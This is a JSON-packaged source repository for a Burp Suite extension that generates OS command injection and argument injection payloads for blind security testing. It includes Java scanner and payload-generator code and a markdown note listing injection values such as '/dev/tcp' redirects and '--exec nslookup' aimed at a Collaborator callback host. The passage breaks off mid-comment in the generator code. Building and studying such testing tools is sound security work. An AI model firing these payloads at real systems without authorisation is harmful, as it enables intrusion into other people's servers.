[
  {
    "path": "BappDescription.html",
    "content": "<p>This extension is a customizable payload generator, suitable for detecting OS command injection flaws during dynamic testing - which is usually conducted with no access to the source code or the filesystem. Creation of SUCCESSFUL payloads in this kind of assessments requires a lot of guesswork, especially:</p>\n\n<ul>\n<li>The eventual syntax of the expression we are injecting into (e.g. quoted expressions)</li>\n<li>Input sanitizing mechanisms rejecting individual characters (e.g. spaces)</li>\n<li>Platform-specific conditions (e.g. there is no \"sleep\" on windows)</li>\n<li>Callback method (e.g. asynchronous execution, no outbound traffic allowed)</li>\n</ul>\n\n<p>The purpose of creating this tool was to reach the non-trivial OS command injection cases, which stay undetected by generally known and used tools and sets of payloads.</p>\n\n"
  },
  {
    "path": "BappManifest.bmf",
    "content": "Uuid: 33e4402eee514724b768c0342abadb8a\nExtensionType: 1\nName: Command Injection Attacker\nRepoName: command-injection-attacker\nScreenVersion: 2.0\nSerialVersion: 2\nMinPlatformVersion: 0\nProOnly: False\nAuthor: Julian Horoszkiewicz, Secarma Ltd.\nShortDescription: Customizable payload generator to detect and exploit command injection flaws during blind testing.\nEntryPoint: ./build/libs/shelling.jar\nBuildCommand: gradle jar\n"
  },
  {
    "path": "DETECTING_ARGUMENT_INJECTION.md",
    "content": "# Detecting argument injection\nApart from differences in application's response, we might dalso detect argument injection by:\n- reference injection- we supply an argument that, if interpreted properly, will ensue a network response (e.g. a DNS lookup, HTTP/FTP/SMB interaction etc) - this can be bruteforced\n- command injection through the target-specific argument - we supply an arbitrary command into a command-specific flag - which is our \"base\" command in SHELLING (doing whatever the setting is, e.g. a lookup or sleep/selfping)  - this is rather hardcoded, e.g. \"find / -name <INJECTION>\" with injection \"a --exec nslookup PAYLOAD_MARK.BURP_COLLAB_DOMAIN\".\n\n\n\n## Reference injection\nIn the first approach we have no idea what is the target command we are injecting arguments into. The main assumption is that there are only letters, uppercase letters and digits (the last not likely to take any argument values, though) that can represent short flags in formats:\n\n    COMMAND -FLAG\n    COMMAND /FLAG\n\nAt this point we do not attempt to bruteforce any full names (long versions of the flags), like:\n\n    COMMAND --FULL_FLAGNAME\n\nGood candidates for values are:\n\n    smb://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a \n    file://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a \n    http://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a \n    ftp://wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/a \n\nAdditionally these are worth checking too:\n\n    >\\\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\\a\n    > /dev/tcp/wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net/80\n    \nThis might as well work with injections like (plus the nix variant from above):\n\n    >\\\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\\a\n    >\\\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\\a<NULLBYTE>\n    >\\\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\\a<POOTERMINATOR>\n    >\\\\wzzec5jztfjusa225ubi8pi1osuii7.burpcollaborator.net\\a::COMMENT OUT\n\nwhereas neither command nor argument separators are allowed, but we can redirect the outpt to an arbitrary local file (which might be very good too :D). \n\n\n\n## Command inejction\nIn this case we check for particular flags in particular binaries (assuming that the matching binary is being executed on the server), e.g. --exec in find, -O in wget or /c in some windows commands.\n\n\n## Syntax\nWe should still keep in mind quotes in the final expression syntax might make our payload fail, hence we need to make sure we also create and evaluate proper test cases while developing this feature.\n\nThis is all experimental.\n"
  },
  {
    "path": "Java/src/burp/BinaryPayloadIssue.java",
    "content": "\n\npackage burp;\n\n\npublic class BinaryPayloadIssue extends ShellingScannerIssue {\n\tprivate String issueDetail;\n\t\n\tprivate static final String DETAIL_TEMPLATE = \"The target seems vulnerable to OS Command Injection.<br>\";\n\tprivate static int counter=0;\n\tpublic BinaryPayloadIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details, String feedbackMethod) {                                          \n\t\tsuper(cb,exploitRR,details,feedbackMethod);\n\t\tissueDetail = DETAIL_TEMPLATE;\n\t}\n        public void appendIssueDetail(String text)\n        {\n                this.issueDetail = this.issueDetail+text;\n        }        \n\t@Override\n\tpublic String getIssueDetail() {\n\t\treturn issueDetail;\n\t}\n}\n\n"
  },
  {
    "path": "Java/src/burp/BuildUnencodedRequest.java",
    "content": "package burp;\n\nimport java.util.Random;\n\npublic class BuildUnencodedRequest\n{\n    private Random random = new Random();\n    private IExtensionHelpers helpers;\n\n    BuildUnencodedRequest(IExtensionHelpers helpers)\n    {\n        this.helpers = helpers;\n    }\n\n    byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload) throws Exception\n    {\n        byte[] canary = buildCanary(payload.length);\n        byte[] request = iScannerInsertionPoint.buildRequest(canary);\n        int canaryPos = findCanary(canary, request);\n        System.arraycopy(payload, 0, request, canaryPos, payload.length);\n        return request;\n    }\n\n    private byte[] buildCanary(int payloadLength)\n    {\n        // random alphanum string, same length as payload\n        String chars = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n        byte[] canary = new byte[payloadLength];\n        for(int i = 0; i < payloadLength; i++)\n        {\n            canary[i] = (byte) chars.charAt(random.nextInt(chars.length()));\n        }\n        return canary;\n    }\n\n    private int findCanary(byte[] canary, byte[] request) throws Exception\n    {\n        int canaryPos = helpers.indexOf(request, canary, false, 0, request.length);\n        if(canaryPos == -1)\n        {\n            throw new Exception(\"Cannot locate canary in request\");\n        }\n        int canaryPos2 = helpers.indexOf(request, canary, false, canaryPos + 1, request.length);\n        if(canaryPos2 != -1)\n        {\n            throw new Exception(\"Multiple canary found in request\");\n        }\n        return canaryPos;\n    }\n}"
  },
  {
    "path": "Java/src/burp/BurpExtender.java",
    "content": "package burp;\r\n\r\n\r\nimport uk.co.pentest.SHELLING.SHELLING;\r\nimport uk.co.pentest.SHELLING.ShellingTab;\r\nimport uk.co.pentest.SHELLING.PayloadFactory;\r\n\r\n/**\r\n * The main entry class that Burp calls to load/unload the extension.\r\n */\r\npublic class BurpExtender implements IBurpExtender, IExtensionStateListener {\r\n\r\n    @Override\r\n    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {\r\n        SHELLING.callbacks = callbacks;\r\n        callbacks.setExtensionName(\"SHELLING\");\r\n        SHELLING.ShellingTab = new ShellingTab();\r\n        callbacks.addSuiteTab(SHELLING.ShellingTab);\r\n        \r\n        callbacks.registerExtensionStateListener(this);\r\n\r\n        callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(SHELLING.ShellingTab, \"cmd\"));\r\n        callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(SHELLING.ShellingTab, \"byte2\"));\r\n   \r\n        //callbacks.registerScannerCheck(new CollaboratorScannerCheck(callbacks));\r\n        callbacks.registerScannerCheck(new DirectScannerCheck(callbacks,SHELLING.ShellingTab));\r\n    }\r\n\r\n    @Override\r\n    public void extensionUnloaded() {\r\n    }\r\n    public static IBurpExtenderCallbacks getBurpCallbacks() {\r\n        return SHELLING.callbacks;\r\n    }\r\n    \r\n\r\n}\r\n"
  },
  {
    "path": "Java/src/burp/DirectScannerCheck.java",
    "content": "/*\n \n The simple scanner check class for SHELLING.\n Sends all the payloads one after another, supports DNS (network) and sleep (time) feedback channels. Will also automatically support \"file\" once it becomes a thing.\n\n*/\n\npackage burp;\n\nimport java.util.List;\nimport java.util.ArrayList;\nimport java.net.URL;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport uk.co.pentest.SHELLING.IntruderPayloadGenerator;\nimport uk.co.pentest.SHELLING.ShellingTab;\n\n\npublic class DirectScannerCheck extends ShellingScannerCheck {\n\n        private ShellingTab tab;\t\n        \n        private boolean last400Avoid=false; // whether the last request made was replied with a 400/something along these lines AND the payload contained a white char known to break things HTTP message format when used as literal\n        private List<IScanIssue> issues;        \n        private IHttpRequestResponse attackReq;                  \n        \n\tpublic DirectScannerCheck(IBurpExtenderCallbacks cb, ShellingTab tab) \n        {           \n            super(cb,tab);\n            this.tab = tab;\n            checkHttpService = null;\n\t}\n\t\n\t@Override\n\tpublic int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue) {\n\t\treturn -1;\n\t}\t        \n        \n\t@Override\n\tpublic List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint) \n        {            \n                this.issues = null;\n                if(tab.shellingPanel.scannerChecks==false) return this.issues; // the switch off (scanner is not enabled, goodbye)\n                \n                // \n                // We will NO LONGER return scanner issues from this method for DNS and file feedback channels (because they are not direct).\n                // doActiveScan() will only return scan issues triggered directly by itself, the current running instance (when using file and time as feedback channels).\n                \n                // All the DNS interactions (synchronous/asynchronous, does not matter at this point) will be watched by the checkCollabSessions() call (triggered by Scanner/Intruder/Export/exit/schedule?)\n                // which will, in turn, will use the addScanIssue() API (with the help of code taken from this useful project https://github.com/PortSwigger/manual-scan-issues).\n                \n                // Hence, checkCollabInteractions() no longer needs to return issues. We just call it BEFORE starting the actual new scan (this should happen even if the method is again manual, in order not to miss any asynchronously called stuff from previous \"auto\" calls) + DURING + AFTER.\n                this.tab.shellingPanel.checkCollabInteractions(false);\n                                \n                \n        \tIRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);\n\t\tURL url = reqInfo.getUrl();\n                int port = url.getPort();\n                String loc=\"\";\n                int delaySeconds = this.tab.shellingPanel.getDelay();\n                delaySeconds -= 4; // small, SMALL tuning to avoid false negatives (making this thing a bit more sensitive); ping -c25 localhost took only 24 seconds and thus stayed undetected\n                // while if this becomes an issue do to slow response times, one can always increase the delay in options if false positives show up\n                // this delaySeconds shift (4 secs) should be lower the longer the natural response time is\n                // but we are not going too introduce intelligent tuning, are we? maybe manual?\n                // \n                // in our case localhost is very fast, usually this will not happen\n                \n\t\tboolean https=false;\n                String host = url.getHost();\n                if(url.getProtocol()==\"https\") https=true;\n\t\tString urlStr = url.getProtocol()+\"://\"+url.getHost()+\":\"+url.getPort()+url.getPath();\n\t\tif(!createCheckHttpService(host,port,https))  \n                {\n                    callbacks.printError(\"HTTP connection failed\");\n                    callbacks.issueAlert(\"HTTP connection failed\");\n                    return issues;\n                }             \n                \n                // create new generator object with a dedicated collaborator subdomain (if DNS used as feedback channel)\n                generator = new IntruderPayloadGenerator(\"cmd\", tab, \"scanner\", baseRequestResponse, insertionPoint.getInsertionPointName());  \n                // the insertion point should deliver the prefix! to bad intruder can't do this\n                \n                // save the last generator for the purpose of the asynchronous checkForCollabInteractions() method\n                if(this.tab.shellingPanel.feedbackChannel==\"DNS\")\n                {\n                    loc = generator.loc; // this might be empty as we MIGHT be using a different feedback channel    \n                }   \n                \n                generator.setBase(baseRequestResponse);\n                \n                int counter=0; // we need to limit the frequency with which we are calling the collabSessions check, for the purpose of performance and good manners\n                while(generator.hasMorePayloads())\n                {\n                    if(tab.shellingPanel.stopAllRunningScans.isSelected()==true) break; // this should allow us to stop the scan (all of them) by ticking off the box, instantly\n                    \n                    byte[] payload = generator.getNextPayloadSmart(insertionPoint.getBaseValue().getBytes(),this.last400Avoid);               \n                    // domain name is now automatically provided by the getNextPayload function, used by both scanner and intruder in cooperation with our session tracking system\n                    if(payload.length==1) \n                    { //payload generation failed, move onto next command\n\t\t\tcallbacks.printError(\"Payload generation failed!\");\n\t\t\tcallbacks.issueAlert(\"Payload generation failed!\");\n                        return this.issues;\n                    }\n                    \n                    \n                                        // To avoid Burp's default behaviour with automatic encoding of insertion points in Scanner\n                    // we replaced \"byte [] req = insertionPoint.buildRequest(payload);\"\n                    // with new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload))\n                    // as adviced by Paj: https://support.portswigger.net/customer/portal/questions/17301079-design-new-extension-problem-with-buildrequest-and-url-encode\n                    // with his code snippet: https://gist.github.com/pajswigger/c1fff3ce6e5637126ff92bf57fba54e1\n                    \n                    byte [] req=null;\n                    try {\n                        req = new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, payload);\n                    } catch (Exception ex) {\n                        Logger.getLogger(DirectScannerCheck.class.getName()).log(Level.SEVERE, null, ex);\n                    }\n                    \n                    //byte [] req = insertionPoint.buildRequest(payload);\n                    //callbacks.printError((new String(req))+\"\\n\\n\");\n                    \n                    // 1. time as feedback channel (detecting a delay in the response)\n                    //if(tab.shellingPanel.feedbackChannel==\"time\")\n                    //{\n                    \n                    long millisBefore = System.currentTimeMillis(); // only used for time\n                    \n                    attackReq = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),req); // we perform the attack, because we already know the payload                    \n                    byte[] resp = attackReq.getResponse();\n                    IResponseInfo responseInfo = helpers.analyzeResponse(resp);\n                    \n                    if(responseInfo.getStatusCode()==400&&this.tab.shellingPanel.includeLiteralWhites.isSelected()==true&&this.tab.shellingPanel.smart400Avoidance.isSelected()) // baddie avoidance\n                    {\n                        // search the payload\n                        for(int l=0;l<payload.length;l++)\n                        { \n                            if(this.tab.shellingPanel.containsBaddies(payload))\n                            {\n                                this.last400Avoid=true; // it simply means: \"literal white chars cause 400 responses from this target in this scan task\n                                this.tab.shellingPanel.logOutput(\"A baddie detected, turning 400 avoidance on (means no more literal white chars in this scan task)!\");\n                                break;\n                            }\n                        }\n                    }\n                    \n                    long millisAfter = System.currentTimeMillis(); // only used for time\n                    \n                    // Default trigger threshold for \"time\" feedback channel is 25 seconds, so the difference has to be at least 15 seconds provided that it takes approx. 10 to get a normal response\n                    // anyway, made this customisable to anyone encountering false positives with this method.\n                    long diff = millisAfter-millisBefore;\n                    if(this.tab.shellingPanel.feedbackChannel==\"time\"&&diff>delaySeconds*1000) \n                    {\n                            this.issues = new ArrayList<IScanIssue>(1);\t\t\t\n                            BinaryPayloadIssue issue;\n                            String details=\"A potential OS command injection vulnerability was detected using time as the feedback channel.<br><br>\";\n                            details+=\"The following payload was supplied to the <b>\"+insertionPoint.getInsertionPointName()+\"</b> input parameter: <b>\"+this.helpers.bytesToString(payload)+\"</b><br><br>\";\n                            details+=\"The server took <b>\"+Long.toString(diff)+\"</b> miliseconds to respond.<br><br>\";\n                            details+=\"Please be aware that delayed response can happen for multiple reasons, therefore comparing response time with the expected time of additional delay introduced by payloads like <b>sleep 25</b> or <b>ping -n25 localhost</b> is prone to false positives. Investigate this instance manually.<br><br>If you are getting too many false positivies, try to increase the delay in SHELLING -> Global settings or consider using a different feedback channel, e.g. DNS.\";\n                            issue = new BinaryPayloadIssue(callbacks,attackReq,details,\"time\");\n                            //issue.\n                            this.issues.add((IScanIssue) issue);\n                            // return upon the first hit - we should make this adjustable in the config as well\n                            return this.issues; // we don't worry about interrupting anything, it's just our own direct attack and it was successful, we got what we needed, no need to search for more valid payloads\n                    }                    \n                    \n                    // 2. filesystem as a feedback channel needs to be implemented too\n                    // if set, it will do nothing here - which is good, as it is up to the user to inspect the filesystem\n                    // so far we are good with \"time\" and \"file\"\n                    // also, \"response\" will be handled right here once we start supporting it as a feedback channel\n                    \n                    // now \"DNS\"\n                    \n                    // 3. DNS as the feedback channel\n                    // So, the point is we do not want to stop sending payloads only because we encountered some collab interaction\n                    // as we might be dealing with a response to one of the previous payloads - which is good as we have to report it\n                    // but it does not mean we should stop sending payloads unless we can be sure we are dealing with different sessions (different collabLoc).\n                    \n                    // the check for collab interactions callback run periodically\n                    // we could rely entirely on the additional call of this we perform before exiting this method\n                    // but the problem is we might get stuck with long scans with the issue staying unnoticed (which would suck soo badly).\n                    if(tab.shellingPanel.feedbackChannel==\"DNS\")\n                    {\n                        counter++;\n                        if(counter%200==0) // check for feedback every 200 requests\n                        {                                           \n                           this.tab.shellingPanel.checkCollabInteractions(false); // just call it and let it do its job (we could provide it with an argument (locId) so it filters\n                           // them out for us... but again, we want this to he handled separately, so it can ALSO catch Intruder-induced hits as Scanner issues (yup, that's the point of it)                           \n                           //if(this.issues!=null&&this.issues.size()>0)\n                           //{                                \n                           // we don't return here because we might be finding a response from a previous scan\n                           // and we don't want it to stop our CURRENT                                 \n                           //}\n                        }                                                \n                    }\n                }\n                // OK there is no more payloads left in the generator\n                // now would be the good time to save the shellings_raw payload set in the collabSession, if we want to track it\n                // and do likewise with Intruder and export (if the \"auto\" mode is on)\n                \n                // we are just about to return null\n                if(tab.shellingPanel.feedbackChannel==\"DNS\")\n                {\n                    try \n                    {   \n                \tThread.sleep(10); \n                        this.tab.shellingPanel.checkCollabInteractions(true); // one last check after the scan is done (enforce this last one even if the previous one happened earlier than the limit\n                    } \n                    catch(Exception e) \n                    {\n                           // whateva\n                    }\n                }\n                return null;\n        }\t        \n} // end of the class\n"
  },
  {
    "path": "Java/src/burp/ShellingScannerCheck.java",
    "content": "/*\n\tParent abstract class for Active Scan checks to detect Command Injection with Burp Collaborator. \n        Initializes all base values for ScannerCheck sub classes containing issue request/response highlight indices.\n*/\n\npackage burp;\n\nimport java.util.List;\nimport uk.co.pentest.SHELLING.IntruderPayloadGenerator;\n\nimport uk.co.pentest.SHELLING.ShellingTab;\n\nabstract class ShellingScannerCheck implements IScannerCheck {\n\tprotected IBurpExtenderCallbacks callbacks;\n\tprotected IExtensionHelpers helpers;\n\t//protected ShellingPayloadGenerator generator;\t\n        protected IntruderPayloadGenerator generator;\n        protected IHttpService checkHttpService;\n        protected static int counter=0;\n\tpublic ShellingScannerCheck(IBurpExtenderCallbacks cb, ShellingTab tab) {\n\t\tcallbacks = cb;\n\t\thelpers = callbacks.getHelpers();\n\t}\n        protected boolean createCheckHttpService(String host, int port, boolean https) \n        {\t\t\t\n            if((host==null) || ((port<1) || (port>65535))) \n            { \n\t\t\treturn false;\n            } \n            else if(host.isEmpty() || ((port<1) || (port>65535))) \n            {\n\t\t\treturn false;\n            }\t\t\n            if(checkHttpService==null) \n            { //HttpService object not yet created, attempt to create\t\t\t\n\t\t\tcheckHttpService = helpers.buildHttpService(host,port,https);\n            } \n            else \n            { \n                //HttpService object already created, compare to inputted settings and recreate if different\n                String currHost = checkHttpService.getHost();\n\t\tint currPort = checkHttpService.getPort();\n\t\tString currHttps = checkHttpService.getProtocol();\n\t\tif(!(currHost.equals(host) && (currPort==port) && (currHttps.equalsIgnoreCase(\"http\"+(https ? \"s\" : \"\"))))) \n\t\t\tcheckHttpService = helpers.buildHttpService(host,port,https);\t\n            }\n            return true;\n\t}\n\t@Override \n\tpublic List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {\n\t\treturn null;\n\t}\n\t\n\t@Override\n\tpublic abstract int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue);\n\t\n\t@Override\n\tpublic abstract List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint);\n}\n"
  },
  {
    "path": "Java/src/burp/ShellingScannerIssue.java",
    "content": "\npackage burp;\n\nimport java.net.URL;\n\n\nabstract public class ShellingScannerIssue implements IScanIssue {\n\t//IScanIssue fields\n\tprivate IHttpRequestResponse[] httpMessages;\n\tprivate IHttpService httpService;\n\tprivate String remediationBackground;\n\tprivate URL url;\n        private String confidence=\"Certain\";        \n\tprivate String feedbackMethod;\n\tprivate IBurpExtenderCallbacks callbacks;\n\tprivate IExtensionHelpers helpers;\n\t\n\tprivate String ISSUE_BACKGROUND = \"Someone is having a good day.<br>\";\n\tprivate String REM_BACKGROUND = \"It's time to play.<br>\";\n        //private static int counter=0;\n\t\n\tShellingScannerIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details, String feedbackMethod) {\n\t\tcallbacks = cb;                               \n\t\thelpers = callbacks.getHelpers();\n\t\turl = helpers.analyzeRequest(exploitRR).getUrl();\n\t\thttpService = exploitRR.getHttpService();\t\n\t\thttpMessages = new IHttpRequestResponse[] {exploitRR};                \n                this.feedbackMethod=feedbackMethod;\n                //counter++;\n                //this.feedbackChannel=\"(SHELLING - \"+feedbackMethod+\" - \"+Integer.toString(this.counter)+\")\";\n                if(feedbackMethod==\"time\")\n                {\n                    this.confidence=\"Tentative\"; // let's be honest with our users\n                }                \n                ISSUE_BACKGROUND = ISSUE_BACKGROUND + details; // let's see if this will fool the 'duplicate-detection' algorithm or whatever has been making our \"details\" global up until now                \n                //REM_BACKGROUND = \"\";\n\t}\n\t\n\t//IScanIssue methods\n\t@Override\n\tpublic String getConfidence() {\n\t\treturn this.confidence;\n\t}\n\t\n\t@Override\n\tpublic IHttpRequestResponse[] getHttpMessages() {\n\t\treturn httpMessages;\n\t}\n\t\n\t@Override\n\tpublic IHttpService getHttpService() {\n\t\treturn httpService;\n\t}\n\t\n\t@Override\n\tpublic String getIssueBackground() {\n\t\treturn ISSUE_BACKGROUND;\n\t}\n\t\n\t@Override\n\tpublic abstract String getIssueDetail();\n\t\n\t@Override\n\tpublic String getIssueName() {\n\t\treturn \"Command Injection (SHELLING-\"+this.feedbackMethod+\")\";\n\t}\n\t\n\t@Override\n\tpublic int getIssueType() {\n\t\treturn 0;\n\t}\n\t\n\t@Override\n\tpublic String getRemediationBackground() {\n\t\treturn REM_BACKGROUND;\n\t}\n\t\n\t@Override\n\tpublic String getRemediationDetail() {\n\t\treturn null;\n\t}\t\n\t@Override\n\tpublic String getSeverity() {\n\t\treturn \"High\";\n\t}\n\t\n\t@Override\n\tpublic URL getUrl() {\n\t\treturn url;\n\t}\n}\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/IntruderPayloadGenerator.java",
    "content": "package uk.co.pentest.SHELLING;\n\nimport burp.BurpExtender;\nimport burp.IBurpExtenderCallbacks;\nimport burp.IHttpRequestResponse;\nimport burp.IIntruderPayloadGenerator;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport javax.swing.JOptionPane;\nimport javax.swing.ListModel;\n\n/**\n *\n * @author julianh\n */\npublic final class IntruderPayloadGenerator implements IIntruderPayloadGenerator \n{\n    IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();\n    ShellingTab tab;\n    \n    int payloadIndex;                   // counter for the getNextPayload and hasMorePayloads methods\n    boolean payloadMarking;             // whether or not to use payload marking    \n    Integer cnt=0;                      // counter for the payload marker    \n    String payloadType;                 // cmd or mark\n\n    ArrayList<String> shellings;        // the final payloads\n    ArrayList<String> shellings_raw;    // payloads before output encoding  \n    ArrayList<String> basePayloads;     // my @BASE_PAYLOADS=($PAYL);\n    String letters=\"abcdefghijklmnroqprstuvxyzACDEEFGHIJCKLMNROQPRSTUVXYZ\";    \n\n    ArrayList<String> argumentSeparators;        // my @ARGUMENT_SEPARATORS=('%20%20',\"%09%09\");\n    ArrayList<String> commandSeparators;         // my @COMMAND_SEPARATORS=('%0a%0a','%26','|');\n    ArrayList<String> commandTerminators;        // my @COMMAND_TERMINATORS=(\"%00\",'%F0%9F%92%A9');\n    ArrayList<String> nixCommandSeparators;\n    ArrayList<String> nixArgumentSeparators;      \n    ArrayList<String> nixCommandTerminators; // \n    ArrayList<String> winCommandTerminators; // \n    ArrayList<String> winCommandSeparators;\n    ArrayList<String> winArgumentSeparators;\n    ArrayList<String> winEchoArgumentSeparators;\n    ArrayList<String> prefixes;\n    ArrayList<String> prefixSuffixes;   \n    ArrayList<String> argInjectionArguments;\n    String command;\n    String argument;\n    String secondArgument=\"\";\n    String targetOS;\n    String action;\n    //String payload;                     // the base payload in high level form ({COMMAND}{SEPARATOR}{ARGUMENT})\n\n    String winPayload;                  // the base payload in high level form ({COMMAND}{SEPARATOR}{ARGUMENT})\n    String nixPayload;                  // will differ if the feedback channel is time (as opposed to DNS, whereas nslookup call looks exactly the same)\n    String feedbackChannel;\n    String mode=\"auto\"; // possible values: auto (scanner + intruder), manual (intruder only)\n    boolean argumentInjection;\n    boolean last400Avoid=false;\n   // boolean \n    public String loc=\"\"; // collaboratorSession location (if in use)\n\n    public IntruderPayloadGenerator(String payloadType, ShellingTab tab, String currentAction, IHttpRequestResponse baseRequestResponse, String insertionPointName)\n    {\n        // currentAction possible values\n        // scanner\n        // intruder\n        // export\n        \n        // activeScan is true for Scanner calls only (as opposed to Intruder and external export calls)        \n        // init from the arguments\n        this.payloadType = payloadType;\n        this.tab=tab;  \n        \n        if(!this.tab.shellingPanel.argInjectionCheckBox.isSelected()&&!this.tab.shellingPanel.doCommandInjection.isSelected()&&!this.tab.shellingPanel.doTerminalInjection.isSelected())\n        {\n            // message box\n            if(this.tab.shellingPanel.warningDisplayed==false)\n            {\n                JOptionPane.showMessageDialog(null, \"At least one attack (Command injection, Terminal injection or Argument injection) must be enabled!\", \"[SHELLING extension] At least one kind of injection payloads must be enabled!\", JOptionPane.INFORMATION_MESSAGE);                                                    \n                this.tab.shellingPanel.warningDisplayed=true; // avoid annoying message flooding\n            }\n            return;\n        }\n        this.tab.shellingPanel.warningDisplayed=false;\n        \n        this.tab.shellingPanel.curr_generator=this;\n        this.action=currentAction; // so we know whether it's scanner, intruder or export.        \n        \n        // init from the UI\n        this.mode=this.tab.shellingPanel.mode; // we know whether auto mode is on for Intruder and export.        \n        this.targetOS=this.tab.shellingPanel.targetOS; \n        this.command=this.tab.shellingPanel.commandField.getText();\n        this.argument=this.tab.shellingPanel.argumentField.getText().trim();\n        this.feedbackChannel=this.tab.shellingPanel.feedbackChannel;\n        if(this.tab.shellingPanel.payloadMarkingBox.isSelected())\n        {\n            this.payloadMarking=true;\n        }\n        else\n        {\n            this.payloadMarking=false;\n        }                           \n        \n        // other init\n        shellings=new ArrayList<String>();\n        shellings_raw=new ArrayList<String>();\n        basePayloads=new ArrayList<String>();        \n        argumentSeparators=new ArrayList<String>();\n        argumentSeparators=new ArrayList<String>();\n        commandSeparators=new ArrayList<String>();         // my @COMMAND_SEPARATORS=('%0a%0a','%26','|');\n        commandTerminators=new ArrayList<String>();        // my @COMMAND_TERMINATORS=(\"%00\",'%F0%9F%92%A9');\n        nixCommandSeparators=new ArrayList<String>();\n        nixArgumentSeparators=new ArrayList<String>();\n        nixCommandTerminators=new ArrayList<String>();\n        winCommandTerminators=new ArrayList<String>();      // the new one, not included in the incompatible target-checking thingy\n        winCommandSeparators=new ArrayList<String>();\n        winArgumentSeparators=new ArrayList<String>();\n        winEchoArgumentSeparators=new ArrayList<String>();\n\n        prefixes=new ArrayList<String>();\n        prefixSuffixes=new ArrayList<String>();\n                \n       \n        this.prefixes.add(\"PREFIX_HOLDER\"); // this will be replaced in a late (getNextPayload() in the IntruderPayloadGenerator) stage by the base payload\n        this.prefixSuffixes.add(\"'\");\n        this.prefixSuffixes.add(\"\\\"\");\n        \n\n      \n        // in case of argument injection, we'll set argument to PARAM_INJECTION_STRING  ARGUMENT_SEPARATOR EVIL_PARAM , so it will follow the first occurrence of ARGUMENT_SEPARATOR        \n        // OK, let's roll\n\n\n        // mode=\"auto\" switch only makes sense for intruder - it is always \"auto\" for the scanner\n        // we need to make sure this setting does not fuck our scanning capabilities up - well, it gets read from the current panel setting, so I guess it's OK\n        if(mode==\"auto\"||currentAction==\"scanner\") // only \"auto\" mode intruder sessions + scanner sessions are tracked by out collabSessions system!                             \n        {\n            if(feedbackChannel==\"DNS\")\n            {                \n                // register a new collaborator session to track\n                this.loc = this.tab.shellingPanel.collabClient.generatePayload(true);  // OK, we need to know this for the scannner at least\n                // let's grab the requestResponse base object!\n                this.tab.shellingPanel.collabSessions.add(new collabSession(loc,currentAction, baseRequestResponse, insertionPointName)); // this UNKNOWN thing needs to be replaced with the last known URI seen in Intruder\n                this.tab.shellingPanel.logOutput(\"Created a new collaborator session \"+loc+\" for \"+currentAction+\".\");\n                \n                // ok, we would really love to find a way to get the base request response for the current intruder attack\n                // but intruder does not expose this API, we are currently called by its registered payload generator\n                // which is not being provided with anything useful and there is nothing we can directly call\n                // which is a pity... all we are trying to do here is to easily track back all asynchronous interactions triggered by Intruder attacks\n                // automatically - without the user having to manually run and poll the Collaborator Client (this is the entire purpose of the \"auto\" mode)\n                // it's gonna be slightly difficult - we can trace the time (of execution), the payload number and the configuration at the time\n                // plus the actual intruder attack timestamp (time of the new domain \"loc\" creation by the Collaborator)\n                // so will still be traceable with Flow, it just sucks ass but it is still better than not having asynchro watch when using custom Intruder/Scanner payloads at all\n                    \n                command=\"nslookup\";\n                if(payloadMarking) \n                {\n                    argument=\"PAYLOAD_MARK.BURP_COLLAB_DOMAIN\";\n                }\n                else\n                {\n                    argument=\"BURP_COLLAB_DOMAIN\";\n                }                \n                winPayload=nixPayload=command+\"ARGUMENT_SEPARATOR\"+argument;                \n            }\n            if(feedbackChannel==\"time\") // time explicitly \n            {\n                // so we decided to switch to ping for both platforms, as only -n vs -t parameter differs between nix/win, so at least we have the same \n                // potential set of \"bad characters\"                \n                command=\"ping\"; // sleep$IFS$925 was getting false negatives, while the workaround sleep$IFS$9$((25)) requires additional char to work\n                // ping$IFS$9-c$IFS$91$IFS$9127.0.0.1 has the same problem ($IFS$9 blending into 25 -> $925 and 127 -> $9127\n                // we'll just simpler syntax (ping -c25 instead of ping -c 25) and localhost instead of 127                \n                // we might wanna introduce more variants of these commands\n                // like both ping$IFS$9-c25$IFS$9localhost AND sleep$IFS$9$((25))\n                argument=Integer.toString(this.tab.shellingPanel.getDelay());\n                secondArgument=\"localhost\";\n                winPayload=\"pingARGUMENT_SEPARATOR-nARGUMENT_SEPARATOR\"+argument+\"ARGUMENT_SEPARATOR127.0.0.2\";\n                nixPayload=\"pingARGUMENT_SEPARATOR-c\"+argument+\"ARGUMENT_SEPARATOR\"+secondArgument;              \n                \n                // the results are in:\n                // 25 packets transmitted, 25 received, 0% packet loss, time 